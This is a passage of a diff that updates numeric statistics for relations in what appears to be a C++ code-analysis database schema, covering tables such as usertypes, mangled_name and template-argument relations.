+ 30
+ 4274
+ 6105
@@ -20577,7 +20421,7 @@
1
2
- 1506706
+ 1470331
@@ -20593,17 +20437,17 @@
1
2
- 1369194
+ 1353836
2
- 10
- 113695
+ 30
+ 110390
- 10
- 4291
- 23815
+ 30
+ 4274
+ 6105
@@ -20617,34 +20461,34 @@
12
- 711
- 712
- 134
+ 787
+ 788
+ 124
- 2171
- 2172
- 134
+ 2333
+ 2334
+ 124
- 3514
- 3515
- 134
+ 3647
+ 3648
+ 124
- 4290
- 4291
- 134
+ 4273
+ 4274
+ 124
- 5395
- 5396
- 134
+ 5569
+ 5570
+ 124
- 7617
- 7618
- 134
+ 7760
+ 7761
+ 124
@@ -20660,32 +20504,32 @@
1
2
- 134
+ 124
- 660
- 661
- 134
+ 733
+ 734
+ 124
- 1490
- 1491
- 134
+ 1613
+ 1614
+ 124
- 2328
- 2329
- 134
+ 2433
+ 2434
+ 124
- 2571
- 2572
- 134
+ 2678
+ 2679
+ 124
- 4148
- 4149
- 134
+ 4343
+ 4344
+ 124
@@ -20699,34 +20543,34 @@
12
- 196
- 197
- 134
+ 208
+ 209
+ 124
- 2171
- 2172
- 134
+ 2333
+ 2334
+ 124
- 3511
- 3512
- 134
+ 3643
+ 3644
+ 124
- 4290
- 4291
- 134
+ 4273
+ 4274
+ 124
- 5341
- 5342
- 134
+ 5502
+ 5503
+ 124
- 7617
- 7618
- 134
+ 7760
+ 7761
+ 124
@@ -20742,22 +20586,22 @@
1
2
- 1388301
+ 1312097
2
3
- 410112
+ 377145
3
4
- 122576
+ 122475
4
- 124
- 134282
+ 135
+ 130823
@@ -20773,22 +20617,22 @@
1
2
- 1389915
+ 1313592
2
3
- 410112
+ 377145
3
4
- 120961
+ 120980
4
- 124
- 134282
+ 135
+ 130823
@@ -20804,22 +20648,22 @@
1
2
- 1390184
+ 1313966
2
3
- 410919
+ 378017
3
4
- 122710
+ 122475
4
6
- 131456
+ 128082
@@ -20829,19 +20673,19 @@
pointerishsize
- 2367027
+ 2244308
id
- 2367027
+ 2244308
size
- 269
+ 249
alignment
- 269
+ 249
@@ -20855,7 +20699,7 @@
1
2
- 2367027
+ 2244308
@@ -20871,7 +20715,7 @@
1
2
- 2367027
+ 2244308
@@ -20887,12 +20731,12 @@
3
4
- 134
+ 124
- 17589
- 17590
- 134
+ 18010
+ 18011
+ 124
@@ -20908,7 +20752,7 @@
1
2
- 269
+ 249
@@ -20924,12 +20768,12 @@
3
4
- 134
+ 124
- 17589
- 17590
- 134
+ 18010
+ 18011
+ 124
@@ -20945,7 +20789,7 @@
1
2
- 269
+ 249
@@ -20955,23 +20799,23 @@
arraysizes
- 86381
+ 88337
id
- 86381
+ 88337
num_elements
- 18568
+ 18439
bytesize
- 22873
+ 22800
alignment
- 672
+ 622
@@ -20985,7 +20829,7 @@
1
2
- 86381
+ 88337
@@ -21001,7 +20845,7 @@
1
2
- 86381
+ 88337
@@ -21017,7 +20861,7 @@
1
2
- 86381
+ 88337
@@ -21033,37 +20877,37 @@
1
2
- 269
+ 249
2
3
- 8611
+ 8846
3
4
- 403
+ 249
4
5
- 5920
+ 5606
- 5
- 9
- 1614
+ 6
+ 7
+ 1619
- 9
- 23
- 1614
+ 8
+ 27
+ 1495
- 56
+ 34
57
- 134
+ 373
@@ -21079,22 +20923,22 @@
1
2
- 9284
+ 9469
2
3
- 6862
+ 6603
3
5
- 1345
+ 1245
5
- 12
- 1076
+ 11
+ 1121
@@ -21110,22 +20954,22 @@
1
2
- 9284
+ 9469
2
3
- 6862
+ 6603
3
4
- 1076
+ 996
4
6
- 1345
+ 1370
@@ -21141,37 +20985,37 @@
1
2
- 538
+ 622
2
3
- 14800
+ 14702
3
4
- 269
+ 373
4
5
- 3094
+ 3239
5
7
- 2018
+ 1495
7
- 19
- 1749
+ 17
+ 1744
- 20
- 36
- 403
+ 17
+ 45
+ 622
@@ -21187,22 +21031,22 @@
1
2
- 16280
+ 16446
2
3
- 4036
+ 3987
3
5
- 1883
+ 1744
5
7
- 672
+ 622
@@ -21218,22 +21062,22 @@
1
2
- 16280
+ 16570
2
3
- 4440
+ 3987
3
- 4
- 1076
+ 5
+ 1868
- 4
- 5
- 1076
+ 5
+ 6
+ 373
@@ -21247,29 +21091,29 @@
12
- 2
- 3
- 134
+ 10
+ 11
+ 124
- 34
- 35
- 134
+ 86
+ 87
+ 124
- 119
- 120
- 134
+ 91
+ 92
+ 124
- 178
- 179
- 134
+ 187
+ 188
+ 124
- 309
- 310
- 134
+ 335
+ 336
+ 124
@@ -21283,29 +21127,24 @@
12
- 1
- 2
- 134
+ 4
+ 5
+ 124
- 10
- 11
- 134
+ 16
+ 17
+ 249
- 20
- 21
- 134
+ 80
+ 81
+ 124
- 78
- 79
- 134
-
-
- 127
- 128
- 134
+ 137
+ 138
+ 124
@@ -21319,29 +21158,29 @@
12
- 1
- 2
- 134
+ 4
+ 5
+ 124
- 11
- 12
- 134
+ 19
+ 20
+ 124
- 25
- 26
- 134
+ 20
+ 21
+ 124
- 78
- 79
- 134
+ 80
+ 81
+ 124
- 128
- 129
- 134
+ 138
+ 139
+ 124
@@ -21351,15 +21190,15 @@
typedefbase
- 2172724
+ 2162643
id
- 2172724
+ 2162643
type_id
- 904236
+ 900467
@@ -21373,7 +21212,7 @@
1
2
- 2172724
+ 2162643
@@ -21389,22 +21228,22 @@
1
2
- 729661
+ 726620
2
3
- 81602
+ 81262
3
6
- 69889
+ 69598
6
2848
- 23082
+ 22985
@@ -21414,15 +21253,15 @@
decltypes
- 813065
+ 812301
id
- 27516
+ 27490
expr
- 813065
+ 812301
kind
@@ -21430,7 +21269,7 @@
base_type
- 3335
+ 3332
parentheses_would_change_meaning
@@ -21448,17 +21287,17 @@
1
2
- 9720
+ 9711
2
3
- 3642
+ 3639
4
5
- 3620
+ 3617
6
@@ -21468,12 +21307,12 @@
23
24
- 3247
+ 3244
29
30
- 3137
+ 3134
32
@@ -21483,7 +21322,7 @@
171
172
- 3071
+ 3069
173
@@ -21504,7 +21343,7 @@
1
2
- 27516
+ 27490
@@ -21520,7 +21359,7 @@
1
2
- 27516
+ 27490
@@ -21536,7 +21375,7 @@
1
2
- 27516
+ 27490
@@ -21552,7 +21391,7 @@
1
2
- 813065
+ 812301
@@ -21568,7 +21407,7 @@
1
2
- 813065
+ 812301
@@ -21584,7 +21423,7 @@
1
2
- 813065
+ 812301
@@ -21600,7 +21439,7 @@
1
2
- 813065
+ 812301
@@ -21680,17 +21519,17 @@
1
2
- 1206
+ 1205
2
3
- 1031
+ 1030
3
4
- 351
+ 350
4
@@ -21700,7 +21539,7 @@
5
8
- 285
+ 284
8
@@ -21726,27 +21565,27 @@
1
2
- 1162
+ 1161
2
3
- 855
+ 854
3
4
- 329
+ 328
4
7
- 285
+ 284
7
201
- 307
+ 306
340
@@ -21772,7 +21611,7 @@
1
2
- 3335
+ 3332
@@ -21788,7 +21627,7 @@
1
2
- 3335
+ 3332
@@ -21862,15 +21701,15 @@
type_operators
- 8530
+ 8519
id
- 8530
+ 8519
arg_type
- 7700
+ 7690
kind
@@ -21878,7 +21717,7 @@
base_type
- 5625
+ 5618
@@ -21892,7 +21731,7 @@
1
2
- 8530
+ 8519
@@ -21908,7 +21747,7 @@
1
2
- 8530
+ 8519
@@ -21924,7 +21763,7 @@
1
2
- 8530
+ 8519
@@ -21940,12 +21779,12 @@
1
2
- 6870
+ 6861
2
3
- 829
+ 828
@@ -21961,12 +21800,12 @@
1
2
- 6870
+ 6861
2
3
- 829
+ 828
@@ -21982,7 +21821,7 @@
1
2
- 7677
+ 7667
2
@@ -22096,12 +21935,12 @@
1
2
- 3896
+ 3891
2
3
- 968
+ 967
3
@@ -22127,17 +21966,17 @@
1
2
- 4057
+ 4052
2
3
- 1060
+ 1059
3
4
- 484
+ 483
4
@@ -22158,12 +21997,12 @@
1
2
- 4380
+ 4374
2
3
- 1221
+ 1220
3
@@ -22178,19 +22017,19 @@
usertypes
- 4985429
+ 4863327
id
- 4985429
+ 4863327
name
- 1074389
+ 1051154
kind
- 162
+ 158
@@ -22204,7 +22043,7 @@
1
2
- 4985429
+ 4863327
@@ -22220,7 +22059,7 @@
1
2
- 4985429
+ 4863327
@@ -22236,22 +22075,22 @@
1
2
- 742972
+ 727675
2
3
- 196894
+ 192465
3
7
- 85961
+ 83711
7
- 30181
- 48560
+ 30282
+ 47302
@@ -22267,12 +22106,12 @@
1
2
- 1008062
+ 986551
2
10
- 66326
+ 64603
@@ -22306,8 +22145,8 @@
13
- 1476
- 1477
+ 1563
+ 1564
13
@@ -22316,8 +22155,8 @@
13
- 4581
- 4582
+ 4586
+ 4587
13
@@ -22326,23 +22165,23 @@
13
- 20064
- 20065
+ 20075
+ 20076
13
- 82095
- 82096
+ 82092
+ 82093
13
- 85549
- 85550
+ 86007
+ 86008
13
- 151139
- 151140
+ 151219
+ 151220
13
@@ -22402,8 +22241,8 @@
13
- 10829
- 10830
+ 10840
+ 10841
13
@@ -22412,8 +22251,8 @@
13
- 51346
- 51347
+ 51707
+ 51708
13
@@ -22424,19 +22263,19 @@
usertypesize
- 1631490
+ 1595570
id
- 1631490
+ 1595570
size
- 1895
+ 1846
alignment
- 108
+ 105
@@ -22450,7 +22289,7 @@
1
2
- 1631490
+ 1595570
@@ -22466,7 +22305,7 @@
1
2
- 1631490
+ 1595570
@@ -22482,52 +22321,52 @@
1
2
- 595
+ 580
2
3
- 257
+ 250
3
4
- 108
+ 105
4
6
- 121
+ 118
6
8
- 148
+ 145
8
14
- 148
+ 145
14
26
- 148
+ 145
26
86
- 148
+ 145
96
1592
- 148
+ 145
1733
- 92730
- 67
+ 93158
+ 65
@@ -22543,17 +22382,17 @@
1
2
- 1557
+ 1516
2
3
- 216
+ 210
3
6
- 121
+ 118
@@ -22592,8 +22431,8 @@
13
- 1959
- 1960
+ 2046
+ 2047
13
@@ -22602,8 +22441,8 @@
13
- 107916
- 107917
+ 108344
+ 108345
13
@@ -22620,7 +22459,7 @@
1
2
- 27
+ 26
3
@@ -22660,26 +22499,26 @@
usertype_final
- 12244
+ 11462
id
- 12244
+ 11462
usertype_uuid
- 50062
+ 50280
id
- 50062
+ 50280
uuid
- 49551
+ 49771
@@ -22693,7 +22532,7 @@
1
2
- 50062
+ 50280
@@ -22709,12 +22548,12 @@
1
2
- 49039
+ 49263
2
3
- 511
+ 508
@@ -22724,11 +22563,11 @@
usertype_alias_kind
- 2172767
+ 2162685
id
- 2172724
+ 2162643
alias_kind
@@ -22746,7 +22585,7 @@
1
2
- 2172681
+ 2162600
2
@@ -22765,13 +22604,13 @@
12
- 21688
- 21689
+ 21658
+ 21659
42
- 28955
- 28956
+ 28961
+ 28962
42
@@ -22782,26 +22621,26 @@
nontype_template_parameters
- 964987
+ 960965
id
- 964987
+ 960965
type_template_type_constraint
- 29095
+ 29057
id
- 14340
+ 14321
constraint
- 27873
+ 27836
@@ -22815,22 +22654,22 @@
1
2
- 10951
+ 10936
2
3
- 968
+ 967
3
5
- 1106
+ 1105
5
14
- 1198
+ 1197
14
@@ -22851,12 +22690,12 @@
1
2
- 26651
+ 26616
2
3
- 1221
+ 1220
@@ -22866,19 +22705,19 @@
mangled_name
- 7773031
+ 7805179
id
- 7773031
+ 7805179
mangled_name
- 5323548
+ 6313666
is_complete
- 27
+ 249
@@ -22892,7 +22731,7 @@
1
2
- 7773031
+ 7805179
@@ -22908,7 +22747,7 @@
1
2
- 7773031
+ 7805179
@@ -22924,17 +22763,12 @@
1
2
- 4730278
+ 5984988
2
- 3
- 459154
-
-
- 3
- 9032
- 134115
+ 1127
+ 328678
@@ -22950,7 +22784,7 @@
1
2
- 5323548
+ 6313666
@@ -22964,14 +22798,14 @@
12
- 4956
- 4957
- 13
+ 6
+ 7
+ 124
- 570682
- 570683
- 13
+ 62639
+ 62640
+ 124
@@ -22985,14 +22819,14 @@
12
- 1518
- 1519
- 13
+ 6
+ 7
+ 124
- 391608
- 391609
- 13
+ 50668
+ 50669
+ 124
@@ -23002,59 +22836,59 @@
is_pod_class
- 746522
+ 744607
id
- 746522
+ 744607
is_standard_layout_class
- 1344327
+ 1314777
id
- 1344327
+ 1314777
is_complete
- 1610636
+ 1574114
id
- 1610636
+ 1574114
is_class_template
- 292064
+ 284418
id
- 292064
+ 284418
class_instantiation
- 1326506
+ 1297977
to
- 1322606
+ 1294166
from
- 91568
+ 89302
@@ -23068,12 +22902,12 @@
1
2
- 1319871
+ 1291489
2
8
- 2735
+ 2676
@@ -23089,47 +22923,47 @@
1
2
- 26717
+ 25952
2
3
- 16615
+ 16154
3
4
- 9099
+ 8835
4
5
- 5971
+ 5841
5
7
- 7691
+ 7516
7
10
- 6946
+ 6844
10
17
- 7353
+ 7239
17
53
- 6933
+ 6751
53
4219
- 4238
+ 4167
@@ -23139,19 +22973,19 @@
class_template_argument
- 3500296
+ 3419896
type_id
- 1630569
+ 1594040
index
- 1516
+ 1476
arg_type
- 1034048
+ 1008969
@@ -23165,27 +22999,27 @@
1
2
- 678622
+ 663402
2
3
- 489907
+ 479231
3
4
- 308626
+ 302010
4
7
- 124067
+ 120819
7
113
- 29344
+ 28576
@@ -23201,22 +23035,22 @@
1
2
- 713167
+ 697648
2
3
- 505250
+ 493644
3
4
- 306689
+ 300045
4
113
- 105461
+ 102700
@@ -23237,32 +23071,32 @@
4
5
- 961
+ 936
5
30
- 121
+ 118
33
90
- 121
+ 118
95
453
- 121
+ 118
643
6819
- 121
+ 118
11329
- 120410
- 54
+ 120877
+ 52
@@ -23283,32 +23117,32 @@
4
5
- 961
+ 936
5
16
- 135
+ 131
16
35
- 121
+ 118
37
155
- 121
+ 118
196
3251
- 121
+ 118
- 10035
- 43710
- 40
+ 10075
+ 43772
+ 39
@@ -23324,27 +23158,27 @@
1
2
- 648817
+ 633045
2
3
- 212101
+ 206957
3
4
- 62128
+ 60607
4
11
- 78635
+ 76761
11
- 11553
- 32364
+ 11634
+ 31596
@@ -23360,17 +23194,17 @@
1
2
- 912012
+ 889441
2
3
- 98812
+ 96885
3
22
- 23223
+ 22642
@@ -23380,19 +23214,19 @@
class_template_argument_value
- 642352
+ 639675
type_id
- 259180
+ 258100
index
- 386
+ 384
arg_value
- 642181
+ 639504
@@ -23406,17 +23240,17 @@
1
2
- 196198
+ 195380
2
3
- 54616
+ 54388
3
8
- 8366
+ 8331
@@ -23432,22 +23266,22 @@
1
2
- 186287
+ 185511
2
3
- 50969
+ 50757
3
45
- 19564
+ 19482
45
154
- 2359
+ 2349
@@ -23575,12 +23409,12 @@
1
2
- 642009
+ 639333
2
3
- 171
+ 170
@@ -23596,7 +23430,7 @@
1
2
- 642181
+ 639504
@@ -23606,15 +23440,15 @@
is_proxy_class_for
- 62033
+ 60475
id
- 62033
+ 60475
templ_param_id
- 58607
+ 57139
@@ -23628,7 +23462,7 @@
1
2
- 62033
+ 60475
@@ -23644,12 +23478,12 @@
1
2
- 57687
+ 56242
2
79
- 920
+ 896
@@ -23659,19 +23493,19 @@
type_mentions
- 5508026
+ 5813148
id
- 5508026
+ 5813148
type_id
- 270952
+ 275282
location
- 5462202
+ 5767566
kind
@@ -23689,7 +23523,7 @@
1
2
- 5508026
+ 5813148
@@ -23705,7 +23539,7 @@
1
2
- 5508026
+ 5813148
@@ -23721,7 +23555,7 @@
1
2
- 5508026
+ 5813148
@@ -23737,42 +23571,42 @@
1
2
- 133428
+ 136147
2
3
- 29711
+ 30912
3
4
- 11251
+ 11137
4
5
- 14746
+ 14668
5
7
- 19661
+ 19938
7
12
- 21682
+ 21785
12
- 27
- 20754
+ 28
+ 21025
- 27
- 8555
- 19716
+ 28
+ 8907
+ 19666
@@ -23788,42 +23622,42 @@
1
2
- 133428
+ 136147
2
3
- 29711
+ 30912
3
4
- 11251
+ 11137
4
5
- 14746
+ 14668
5
7
- 19661
+ 19938
7
12
- 21682
+ 21785
12
- 27
- 20754
+ 28
+ 21025
- 27
- 8555
- 19716
+ 28
+ 8907
+ 19666
@@ -23839,7 +23673,7 @@
1
2
- 270952
+ 275282
@@ -23855,12 +23689,12 @@
1
2
- 5416379
+ 5721985
2
3
- 45823
+ 45581
@@ -23876,12 +23710,12 @@
1
2
- 5416379
+ 5721985
2
3
- 45823
+ 45581
@@ -23897,7 +23731,7 @@
1
2
- 5462202
+ 5767566
@@ -23911,8 +23745,8 @@
12
- 100849
- 100850
+ 107000
+ 107001
54
@@ -23927,8 +23761,8 @@
12
- 4961
- 4962
+ 5067
+ 5068
54
@@ -23943,8 +23777,8 @@
12
- 100010
- 100011
+ 106161
+ 106162
54
@@ -23955,26 +23789,26 @@
is_function_template
- 1418440
+ 1382146
id
- 1418440
+ 1382146
function_instantiation
- 1225283
+ 1220177
to
- 1225283
+ 1220177
from
- 229877
+ 228919
@@ -23988,7 +23822,7 @@
1
2
- 1225283
+ 1220177
@@ -24004,27 +23838,27 @@
1
2
- 139822
+ 139240
2
3
- 53200
+ 52978
3
9
- 18105
+ 18029
9
103
- 17247
+ 17175
103
1532
- 1501
+ 1495
@@ -24034,19 +23868,19 @@
function_template_argument
- 3129131
+ 3116089
function_id
- 1830138
+ 1822511
index
- 600
+ 598
arg_type
- 375277
+ 373713
@@ -24060,22 +23894,22 @@
1
2
- 986053
+ 981943
2
3
- 520291
+ 518123
3
4
- 216362
+ 215461
4
15
- 107430
+ 106982
@@ -24091,22 +23925,22 @@
1
2
- 1010165
+ 1005955
2
3
- 517889
+ 515730
3
4
- 213617
+ 212726
4
9
- 88467
+ 88098
@@ -24122,7 +23956,7 @@
1
2
- 214
+ 213
7
@@ -24183,7 +24017,7 @@
1
2
- 214
+ 213
4
@@ -24244,37 +24078,37 @@
1
2
- 220095
+ 219178
2
3
- 33164
+ 33026
3
4
- 25184
+ 25079
4
6
- 28530
+ 28411
6
11
- 29260
+ 29138
11
76
- 29431
+ 29309
79
2452
- 9610
+ 9570
@@ -24290,17 +24124,17 @@
1
2
- 323407
+ 322059
2
3
- 40458
+ 40289
3
15
- 11412
+ 11364
@@ -24310,19 +24144,19 @@
function_template_argument_value
- 570188
+ 567812
function_id
- 247811
+ 246778
index
- 600
+ 598
arg_value
- 566799
+ 564437
@@ -24336,17 +24170,17 @@
1
2
- 190663
+ 189868
2
3
- 54015
+ 53790
3
8
- 3131
+ 3118
@@ -24362,22 +24196,22 @@
1
2
- 181954
+ 181195
2
3
- 46207
+ 46014
3
54
- 18705
+ 18628
54
113
- 943
+ 939
@@ -24393,7 +24227,7 @@
1
2
- 214
+ 213
2
@@ -24454,7 +24288,7 @@
1
2
- 214
+ 213
2
@@ -24515,12 +24349,12 @@
1
2
- 563410
+ 561061
2
3
- 3389
+ 3375
@@ -24536,7 +24370,7 @@
1
2
- 566799
+ 564437
@@ -24546,26 +24380,26 @@
is_variable_template
- 55031
+ 58559
id
- 55031
+ 58559
variable_instantiation
- 279059
+ 420379
to
- 279059
+ 420379
from
- 34041
+ 35010
@@ -24579,7 +24413,7 @@
1
2
- 279059
+ 420379
@@ -24595,42 +24429,47 @@
1
2
- 16684
+ 15075
2
3
- 3901
+ 3987
3
4
- 1614
+ 2242
4
6
- 2960
+ 2865
6
- 9
- 3094
+ 8
+ 2242
- 9
- 16
- 2556
+ 8
+ 11
+ 2741
- 17
- 67
- 2556
+ 11
+ 30
+ 2741
- 69
- 370
- 672
+ 30
+ 105
+ 2741
+
+
+ 180
+ 546
+ 373
@@ -24640,19 +24479,19 @@
variable_template_argument
- 525826
+ 766874
variable_id
- 267219
+ 399696
index
- 2152
+ 1993
arg_type
- 257127
+ 256164
@@ -24666,22 +24505,22 @@
1
2
- 116252
+ 155493
2
3
- 97280
+ 189631
3
4
- 39423
+ 36381
4
17
- 14262
+ 18190
@@ -24697,22 +24536,22 @@
1
2
- 122172
+ 170444
2
3
- 99298
+ 179788
3
4
- 32830
+ 33640
4
17
- 12916
+ 15823
@@ -24725,50 +24564,45 @@
12
-
- 10
- 11
- 134
-
-
- 20
- 21
- 807
-
-
- 27
- 28
- 403
-
28
29
- 134
+ 872
- 50
- 51
- 134
+ 34
+ 35
+ 373
- 106
- 107
- 134
+ 37
+ 38
+ 124
- 399
- 400
- 134
+ 66
+ 67
+ 124
- 1122
- 1123
- 134
+ 146
+ 147
+ 124
- 1986
- 1987
- 134
+ 438
+ 439
+ 124
+
+
+ 1960
+ 1961
+ 124
+
+
+ 3208
+ 3209
+ 124
@@ -24784,52 +24618,42 @@
1
2
- 134
+ 872
- 10
- 11
- 538
+ 2
+ 3
+ 373
- 11
- 12
- 269
+ 5
+ 6
+ 124
- 12
- 13
- 403
-
-
- 13
- 14
- 134
-
-
- 31
- 32
- 134
+ 28
+ 29
+ 124
54
55
- 134
+ 124
- 159
- 160
- 134
+ 161
+ 162
+ 124
- 630
- 631
- 134
+ 748
+ 749
+ 124
- 1136
- 1137
- 134
+ 1326
+ 1327
+ 124
@@ -24845,22 +24669,22 @@
1
2
- 199674
+ 175552
2
3
- 30543
+ 44604
3
- 11
- 19644
+ 6
+ 21679
- 11
- 119
- 7265
+ 6
+ 206
+ 14328
@@ -24876,17 +24700,17 @@
1
2
- 233446
+ 227757
2
3
- 20990
+ 24794
3
7
- 2691
+ 3613
@@ -24896,19 +24720,19 @@
variable_template_argument_value
- 16280
+ 19935
variable_id
- 11033
+ 14826
index
- 538
+ 498
arg_value
- 16280
+ 19935
@@ -24922,12 +24746,12 @@
1
2
- 10495
+ 13331
2
3
- 538
+ 1495
@@ -24943,17 +24767,17 @@
1
2
- 6593
+ 10465
2
3
- 4036
+ 3987
4
5
- 403
+ 373
@@ -24967,24 +24791,24 @@
12
- 4
- 5
- 134
+ 17
+ 18
+ 124
- 23
- 24
- 134
+ 27
+ 28
+ 124
- 26
- 27
- 134
+ 41
+ 42
+ 124
- 33
- 34
- 134
+ 46
+ 47
+ 124
@@ -24998,24 +24822,24 @@
12
- 7
- 8
- 134
+ 22
+ 23
+ 124
- 32
- 33
- 134
+ 29
+ 30
+ 124
- 38
- 39
- 134
+ 50
+ 51
+ 124
- 44
- 45
- 134
+ 59
+ 60
+ 124
@@ -25031,7 +24855,7 @@
1
2
- 16280
+ 19935
@@ -25047,7 +24871,7 @@
1
2
- 16280
+ 19935
@@ -25057,15 +24881,15 @@
template_template_instantiation
- 7434
+ 7239
to
- 6973
+ 6791
from
- 4929
+ 4800
@@ -25079,12 +24903,12 @@
1
2
- 6824
+ 6646
2
15
- 148
+ 145
@@ -25100,17 +24924,17 @@
1
2
- 3222
+ 3138
2
3
- 1530
+ 1490
3
20
- 176
+ 171
@@ -25120,19 +24944,19 @@
template_template_argument
- 12404
+ 12079
type_id
- 7840
+ 7635
index
- 135
+ 131
arg_type
- 11645
+ 11340
@@ -25146,22 +24970,22 @@
1
2
- 6432
+ 6263
2
3
- 541
+ 527
3
8
- 649
+ 632
8
11
- 216
+ 210
@@ -25177,22 +25001,22 @@
1
2
- 6459
+ 6290
2
4
- 717
+ 698
4
10
- 595
+ 580
10
11
- 67
+ 65
@@ -25330,12 +25154,12 @@
1
2
- 11605
+ 11301
3
43
- 40
+ 39
@@ -25351,12 +25175,12 @@
1
2
- 11618
+ 11314
2
11
- 27
+ 26
@@ -25366,19 +25190,19 @@
template_template_argument_value
- 798
+ 778
type_id
- 677
+ 659
index
- 27
+ 26
arg_value
- 798
+ 778
@@ -25392,7 +25216,7 @@
1
2
- 677
+ 659
@@ -25408,17 +25232,17 @@
1
2
- 582
+ 567
2
3
- 67
+ 65
3
4
- 27
+ 26
@@ -25476,7 +25300,7 @@
1
2
- 798
+ 778
@@ -25492,7 +25316,7 @@
1
2
- 798
+ 778
@@ -25502,19 +25326,19 @@
concept_templates
- 3873
+ 3868
concept_id
- 3873
+ 3868
name
- 3873
+ 3868
location
- 3873
+ 3868
@@ -25528,7 +25352,7 @@
1
2
- 3873
+ 3868
@@ -25544,7 +25368,7 @@
1
2
- 3873
+ 3868
@@ -25560,7 +25384,7 @@
1
2
- 3873
+ 3868
@@ -25576,7 +25400,7 @@
1
2
- 3873
+ 3868
@@ -25592,7 +25416,7 @@
1
2
- 3873
+ 3868
@@ -25608,7 +25432,7 @@
1
2
- 3873
+ 3868
@@ -25618,15 +25442,15 @@
concept_instantiation
- 96899
+ 96773
to
- 96899
+ 96773
from
- 3688
+ 3683
@@ -25640,7 +25464,7 @@
1
2
- 96899
+ 96773
@@ -25736,22 +25560,22 @@
is_type_constraint
- 39538
+ 39487
concept_id
- 39538
+ 39487
concept_template_argument
- 121129
+ 120973
concept_id
- 81844
+ 81738
index
@@ -25759,7 +25583,7 @@
arg_type
- 22962
+ 22932
@@ -25773,17 +25597,17 @@
1
2
- 49798
+ 49733
2
3
- 26443
+ 26409
3
7
- 5602
+ 5595
@@ -25799,17 +25623,17 @@
1
2
- 53671
+ 53602
2
3
- 23976
+ 23945
3
7
- 4195
+ 4190
@@ -25907,42 +25731,42 @@
1
2
- 11135
+ 11121
2
3
- 3181
+ 3177
3
4
- 1129
+ 1128
4
5
- 1452
+ 1450
5
6
- 1244
+ 1243
6
9
- 1729
+ 1726
9
14
- 2121
+ 2118
14
259
- 968
+ 967
@@ -25958,12 +25782,12 @@
1
2
- 19319
+ 19294
2
3
- 3504
+ 3499
3
@@ -26109,15 +25933,15 @@
routinetypes
- 761024
+ 757852
id
- 761024
+ 757852
return_type
- 357472
+ 355982
@@ -26131,7 +25955,7 @@
1
2
- 761024
+ 757852
@@ -26147,17 +25971,17 @@
1
2
- 294962
+ 293732
2
3
- 44190
+ 44006
3
4676
- 18319
+ 18243
@@ -26167,19 +25991,19 @@
routinetypeargs
- 1165681
+ 1166052
routine
- 411426
+ 412135
index
- 983
+ 977
type_id
- 110817
+ 111101
@@ -26193,32 +26017,32 @@
1
2
- 81433
+ 82144
2
3
- 125399
+ 125498
3
4
- 106720
+ 106864
4
5
- 48936
+ 48623
5
7
- 32442
+ 32488
7
19
- 16494
+ 16515
@@ -26234,32 +26058,32 @@
1
2
- 87386
+ 88120
2
3
- 138125
+ 138048
3
4
- 113438
+ 113546
4
5
- 40143
+ 40148
5
10
- 32223
+ 32162
10
11
- 109
+ 108
@@ -26275,12 +26099,12 @@
1
2
- 109
+ 108
2
3
- 109
+ 108
6
@@ -26308,48 +26132,48 @@
54
- 155
- 156
+ 156
+ 157
54
- 205
- 206
+ 206
+ 207
54
- 302
- 303
+ 304
+ 305
54
- 574
- 575
+ 576
+ 577
54
- 896
- 897
+ 902
+ 903
54
- 1792
- 1793
+ 1797
+ 1798
54
- 3746
- 3747
+ 3764
+ 3765
54
- 6042
- 6043
+ 6074
+ 6075
54
- 7533
- 7534
+ 7586
+ 7587
54
@@ -26366,17 +26190,17 @@
1
2
- 109
+ 108
2
3
- 109
+ 108
6
7
- 109
+ 108
9
@@ -26414,8 +26238,8 @@
54
- 189
- 190
+ 191
+ 192
54
@@ -26424,18 +26248,18 @@
54
- 508
- 509
+ 509
+ 510
54
- 784
- 785
+ 786
+ 787
54
- 1159
- 1160
+ 1172
+ 1173
54
@@ -26452,47 +26276,47 @@
1
2
- 33097
+ 33194
2
3
- 14964
+ 14994
3
4
- 13053
+ 13201
4
5
- 9885
+ 9833
5
6
- 6171
+ 6356
6
8
- 9503
+ 9507
8
13
- 9503
+ 9453
13
- 25
- 8410
+ 26
+ 8746
- 25
- 906
- 6226
+ 26
+ 916
+ 5813
@@ -26508,22 +26332,22 @@
1
2
- 78156
+ 78504
2
3
- 17531
+ 17548
3
5
- 9503
+ 9453
5
17
- 5625
+ 5595
@@ -26533,19 +26357,19 @@
ptrtomembers
- 12079
+ 12026
id
- 12079
+ 12026
type_id
- 10156
+ 9890
class_id
- 5985
+ 5960
@@ -26559,7 +26383,7 @@
1
2
- 12079
+ 12026
@@ -26575,7 +26399,7 @@
1
2
- 12079
+ 12026
@@ -26591,12 +26415,12 @@
1
2
- 9871
+ 9613
2
- 74
- 284
+ 84
+ 276
@@ -26612,12 +26436,12 @@
1
2
- 9871
+ 9613
2
- 74
- 284
+ 84
+ 276
@@ -26633,22 +26457,22 @@
1
2
- 4874
+ 4747
2
3
- 541
+ 659
8
9
- 514
+ 501
10
65
- 54
+ 52
@@ -26664,22 +26488,22 @@
1
2
- 4874
+ 4747
2
3
- 541
+ 659
8
9
- 514
+ 501
10
65
- 54
+ 52
@@ -26689,15 +26513,15 @@
specifiers
- 8342
+ 7724
id
- 8342
+ 7724
str
- 8342
+ 7724
@@ -26711,7 +26535,7 @@
1
2
- 8342
+ 7724
@@ -26727,7 +26551,7 @@
1
2
- 8342
+ 7724
@@ -26737,15 +26561,15 @@
typespecifiers
- 991095
+ 966335
type_id
- 984513
+ 959913
spec_id
- 108
+ 105
@@ -26759,12 +26583,12 @@
1
2
- 977932
+ 953491
2
3
- 6581
+ 6422
@@ -26793,8 +26617,8 @@
13
- 820
- 821
+ 821
+ 822
13
@@ -26808,13 +26632,13 @@
13
- 17408
- 17409
+ 17496
+ 17497
13
- 48323
- 48324
+ 48324
+ 48325
13
@@ -26825,15 +26649,15 @@
funspecifiers
- 9715091
+ 9674600
func_id
- 3335926
+ 3322022
spec_id
- 815
+ 811
@@ -26847,32 +26671,32 @@
1
2
- 437273
+ 435451
2
3
- 676332
+ 673513
3
4
- 1422254
+ 1416326
4
5
- 458854
+ 456941
5
6
- 224771
+ 223835
6
8
- 116440
+ 115955
@@ -26983,15 +26807,15 @@
varspecifiers
- 2898173
+ 3043328
var_id
- 2545132
+ 2298382
spec_id
- 382
+ 1121
@@ -27005,12 +26829,17 @@
1
2
- 2192090
+ 1655851
2
3
- 353041
+ 540612
+
+
+ 3
+ 5
+ 101917
@@ -27024,39 +26853,49 @@
12
- 3
- 4
- 54
+ 67
+ 68
+ 124
- 415
- 416
- 54
+ 97
+ 98
+ 124
- 740
